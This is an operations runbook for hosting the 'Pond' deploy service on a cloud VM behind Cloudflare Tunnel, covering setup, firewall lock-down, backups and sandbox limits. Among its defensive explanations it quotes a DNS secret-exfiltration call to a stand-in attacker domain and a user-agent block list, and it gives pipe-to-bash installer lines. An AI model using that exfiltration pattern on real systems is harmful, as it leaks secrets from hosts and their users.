#Pond operations guide

Going from "alpha on my laptop" to a public hosted service like Lakebed. This is the launch runbook.

Stack

Fallback if Oracle ever terminates: Hetzner CAX11 ARM (€3.79/mo). The rest of the stack is unchanged.

#1. Buy the domain

1. Sign in to Cloudflare → Domain Registration → Register Domains.
2. Find your domain (e.g. pond.example.com). Cloudflare sells at registry cost; no markup, free WHOIS privacy, two-factor on the registrar.
3. After registration, Cloudflare auto-creates a DNS zone for it.

Picking a name: short, memorable, neutral. .com is safest. .sh, .dev, .app, .run are nice but pricier. Avoid country TLDs unless you know the registrar's policies (some countries require local presence).

#2. Get an Oracle Cloud Always Free VM

1. Sign up at https://cloud.oracle.com. Account creation requires a credit card for identity but the Always Free tier is genuinely free (no auto-upgrade).
2. Pick a home region close to you — this is permanent.
3. Compute → Instances → Create Instance.
   • Shape: VM.Standard.A1.Flex (Ampere ARM). Allocate 4 OCPU, 24 GB memory. This is the Always Free maximum.
   • Image: Ubuntu 22.04 minimal aarch64.
   • Networking: default VCN is fine. Note the public subnet.
   • SSH key: paste your public key. Save the private key.
4. After it's running, copy the public IP. SSH in: ssh ubuntu@<ip>.

Critical Oracle gotchas:

• Log in to the Oracle Cloud console at least once a month. Idle accounts get reclaimed.
• The default Ubuntu image has iptables rules that drop most inbound traffic. We don't need inbound (Cloudflare Tunnel is outbound-only), so this is fine.
• ARM node is well-supported but check uname -m returns aarch64 before installing.

If you don't want to deal with Oracle, skip to the Hetzner fallback at the bottom.

#3. Install Node 22 + Docker on the VM

# Update + basics
sudo apt update && sudo apt upgrade -y
sudo apt install -y ca-certificates curl gnupg git

# Node 22 (NodeSource)
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt install -y nodejs

# Docker
curl -fsSL https://get.docker.com | sudo bash
sudo usermod -aG docker $USER
newgrp docker  # so this shell picks up the group

# Verify
node --version    # v22.x
docker --version
docker compose version

#4. Clone Pond on the VM

git clone https://github.com/DevvGwardo/pond.git /srv/pond
cd /srv/pond
npm ci
npm run build
npm test                                # full suite should pass

#5. Configure the host

cd /srv/pond

# Pick your bare hostname here (matches your domain choice in step 1).
cp deploy/.env.example deploy/.env
$EDITOR deploy/.env

Fill in:

POND_PUBLIC_HOST=pond.example.com
POND_PUBLIC_BASE_URL=https://pond.example.com
POND_ABUSE_EMAIL=abuse@example.com
POND_HOST_TOKEN=<output of: openssl rand -hex 32>
POND_TRUST_PROXY_HEADERS=1

Save the host token in a password manager. It's the recovery key for the entire control plane.

#6. Cloudflare Tunnel

Easiest if you do this from your laptop, not the VM (cloudflared's interactive login uses your browser).

# Laptop
brew install cloudflared    # or download from cloudflare
cloudflared tunnel login

# Create the tunnel
cloudflared tunnel create pond-host
# → prints a tunnel ID and writes ~/.cloudflared/<id>.json

# Route DNS (these add CNAME records in your Cloudflare zone)
cloudflared tunnel route dns pond-host pond.example.com
cloudflared tunnel route dns pond-host '*.pond.example.com'

Now copy the credentials and config onto the VM:

# Laptop
scp ~/.cloudflared/<tunnel-id>.json ubuntu@<vm-ip>:/srv/pond/deploy/cloudflared/credentials.json

# VM
cd /srv/pond
cp deploy/cloudflared/config.example.yml deploy/cloudflared/config.yml
$EDITOR deploy/cloudflared/config.yml    # replace <TUNNEL_ID> and hostnames

#7. Launch

cd /srv/pond
docker compose -f deploy/docker-compose.yml up -d
docker compose -f deploy/docker-compose.yml logs -f --tail=100

You should see pond host control plane running and Cloudflare Tunnel reporting Registered tunnel connection.

Open https://pond.example.com in a browser — you should see the landing page.

#8. Bootstrap your admin user

From your laptop (with the CLI installed: npm install -g pondsh):

pond login --api https://pond.example.com --username your-name
# Paste the POND_HOST_TOKEN value when prompted.

This creates the first admin account and saves your user token to ~/.pond/credentials.json (mode 0600).

#9. End-to-end smoke test

From your laptop:

mkdir hello && cd hello
pond new my-cap --no-git
cd my-cap
pond deploy --api https://pond.example.com
# → returns a URL like https://abc123def4567890.pond.example.com
# → returns a claim token

Visit the URL. The capsule's /api/query/messages should respond with []. The host listing on pond.example.com/abuse should be reachable.

#10. Lock down

#Cloudflare-side

• Enable Always Use HTTPS: Cloudflare → SSL/TLS → Edge Certificates.
• Enable Bot Fight Mode: Cloudflare → Security → Bots. Catches obvious abuse cheap.
• Enable a Rate Limiting Rule: Security → WAF → Rate limiting rules. Suggested baseline:
  • URL: *pond.example.com/api/deploys
  • 10 requests per 1 minute per IP → block 10 minutes.
• Add a Firewall Rule to block known abuse user-agents (curl, python-requests, masscan) on the bare domain if abuse spikes. Keep them allowed on subdomains (real users hit deploy URLs via fetch/curl).

#Server-side

• Confirm the host process listens only on loopback inside the container — docker compose exec pond-host ss -tnlp | grep 8787 should show 127.0.0.1:8787, not 0.0.0.0:8787. The expose: clause in compose keeps it container-network only; nothing should be on the host's external interface.
• Audit log: curl -H "Authorization: Bearer <admin-token>" https://pond.example.com/api/audit?limit=50. Set a daily cron that mails you the count of deploy.create events from anonymous users — runaway abuse will be visible there first.

#Egress

The JS-level network shim is best-effort. For an outbound firewall (closes the DNS exfiltration gap I documented in commit 6297160):

# As root on the VM. Block all outbound from the container network range
# except DNS to Cloudflare resolvers and Cloudflare Tunnel itself.
# Tune to your container subnet (docker inspect bridge).
sudo iptables -I DOCKER-USER -s 172.17.0.0/16 -j DROP
sudo iptables -I DOCKER-USER -s 172.17.0.0/16 -d 1.1.1.1 -p udp --dport 53 -j ACCEPT
sudo iptables -I DOCKER-USER -s 172.17.0.0/16 -d 1.1.1.1 -p tcp --dport 443 -j ACCEPT

This breaks any capsule's outbound fetch / dns.lookup, but it's the right default for an anonymous tier.

#11. Backups

The control DB is at /var/lib/docker/volumes/pond_pond-data/_data/control.db (Docker volume) or /var/lib/pond/control.db (systemd path). SQLite has no replication; you have to copy the file out.

# /etc/cron.daily/pond-backup
#!/bin/bash
set -e
TS=$(date +%F)
docker compose -f /srv/pond/deploy/docker-compose.yml exec -T pond-host \
  sqlite3 /data/control.db ".backup '/data/backups/control-$TS.db'"
# Rotate: keep 7 daily, 4 weekly
find /var/lib/docker/volumes/pond_pond-data/_data/backups -mtime +30 -delete

Set up rclone / restic / a simple scp to an off-box destination. Cheap options:

• Backblaze B2: ~$6/TB/yr. Fits 1 GB of control.db backups for $0.06/yr.
• AWS S3 Deep Archive: ~$1/TB/mo. Slow to restore but cheaper for "I hope I never need this."

#12. Upgrades

cd /srv/pond
git pull
docker compose -f deploy/docker-compose.yml build pond-host
docker compose -f deploy/docker-compose.yml up -d pond-host
docker compose -f deploy/docker-compose.yml logs --tail=50 -f pond-host

Existing deploys re-fork on host restart. Anonymous deploys past their grace window get terminated by the sweeper.

If you need to roll back, the previous image is still in Docker. docker images | grep pond and docker compose ... up -d pond-host --image <previous>.

#13. Migration to Hetzner (if Oracle pulls the rug)

Same stack, different box. Hetzner Cloud → Server → Create:

• Location: any
• Image: Ubuntu 22.04
• Type: CAX11 (ARM, 2 vCPU, 4 GB RAM, €3.79/mo)
• SSH key: yours

Then steps 3–7 from above on the new VM. The Cloudflare Tunnel can be re-used — bring up cloudflared with the same credentials on the new box, point the tunnel ingress at the new container, take the old box down. DNS doesn't change.

To preserve the control DB across the migration:

# Old box
docker compose -f deploy/docker-compose.yml stop pond-host
docker run --rm -v pond_pond-data:/data -v $(pwd):/out alpine \
  tar czf /out/pond-data.tar.gz -C /data .

# Move pond-data.tar.gz to the new box

# New box (after step 7, BEFORE step 8)
docker compose -f deploy/docker-compose.yml down
docker volume create pond_pond-data
docker run --rm -v pond_pond-data:/data -v $(pwd):/in alpine \
  tar xzf /in/pond-data.tar.gz -C /data
docker compose -f deploy/docker-compose.yml up -d

Users keep their accounts and deploys.

#Known limitations (be honest with your users)

These are documented in docs/abuse-policy.md and shown to anonymous users on the landing page:

1. No full VM isolation. There is no per-tenant kernel/network namespace. A determined attacker with native code can still escape the Node permission sandbox, and capsules share the host network namespace (loopback). For a truly hostile environment, replace fork() with Firecracker microVMs or Cloudflare Sandbox SDK. Not in scope for the budget launch.

   What is enforced today, in layers:

   • Non-root, no-privilege control plane. The shipped deployments run the host as an unprivileged user — the Docker image as node (uid 1000) with cap_drop: ALL + no-new-privileges:true (§3), the systemd unit as User=pond with NoNewPrivileges=true. A capsule that escapes the Node permission sandbox inherits that powerless, cap-less identity; it cannot gain privileges. (Running the host as root would be a regression here, not a hardening — so per-worker uid dropping is intentionally not done.)
   • Kernel egress (the nft firewall, §4) matches on capsule cgroup membership. It is the real outbound boundary.
   • JS-level network shim (defense-in-depth, not the boundary): fetch/undici, net.Socket.connect, and the full node:dns resolver surface (lookup/resolve*/reverse, plus Resolver instances) are blocked in restricted workers. The DNS patch closes the obvious dns.resolveTxt("<secret>.attacker.com") exfil at the JS layer (literal IPs and localhost still resolve so the worker can bind its own server); real DNS exfil is closed for keeps only by the nft rule dropping 53.

2. Single-instance. The control plane is one box. Horizontal scaling needs a real DB (Postgres) and shared deploy storage — meaningful refactor.

3. No payments / paid tier yet. Anonymous and authenticated are both free. Add Stripe + billing tables when you need to.

4. No incident response automation. If a deploy goes viral and burns your CPU budget, you find out via the audit log or your VPS bill, not an alert.

#The anonymous-deploy trust boundary

"Deploy anonymously" does not mean "run arbitrary untrusted code with no recourse." Anonymous deploys sit inside a layered boundary:

1. Human/bot challenge — set --turnstile-secret (or POND_TURNSTILE_SECRET) and anonymous POST /api/deploys must carry a verified Cloudflare Turnstile token. Off by default so dev/CI stay frictionless; turn it on for a public host. Authenticated deploys are never challenged.
2. Per-IP rate limit — --anonymous-rate-per-hour (default 5) caps how fast one IP can create deploys.
3. Sandbox + egress policy — each capsule runs in Node's permission model; anonymous-unclaimed capsules get the network shim, and --capsule-egress=sealed plus the OS firewall can harden this further.
4. Automatic TTL — unclaimed deploys are terminated after --anonymous-grace and deleted after --anonymous-retention by the sweeper.
5. Manual kill switch — pond admin terminate <deployId> (host-token gated) takes any deploy offline immediately, without waiting for its grace window.

For a truly hostile multi-tenant environment you still want the JS sandbox replaced with Firecracker or the Cloudflare Sandbox SDK (see the limitations above) — Turnstile + rate limits + manual terminate raise the cost of abuse, they don't make the JS sandbox airtight.

#What's next after launch

In rough priority order:

• Add a captcha (Cloudflare Turnstile, free) to anonymous deploy. Done — --turnstile-secret / POND_TURNSTILE_SECRET on pond host.
• Add a pond admin terminate <deployId> CLI subcommand backed by the existing host token. Done — see pond admin terminate.
• Replace the JS-level sandbox with Firecracker or Cloudflare Sandbox SDK.
• Postgres + S3 backend for the control plane (when one box stops being enough).
• Stripe billing for higher tiers.

None of these block your launch.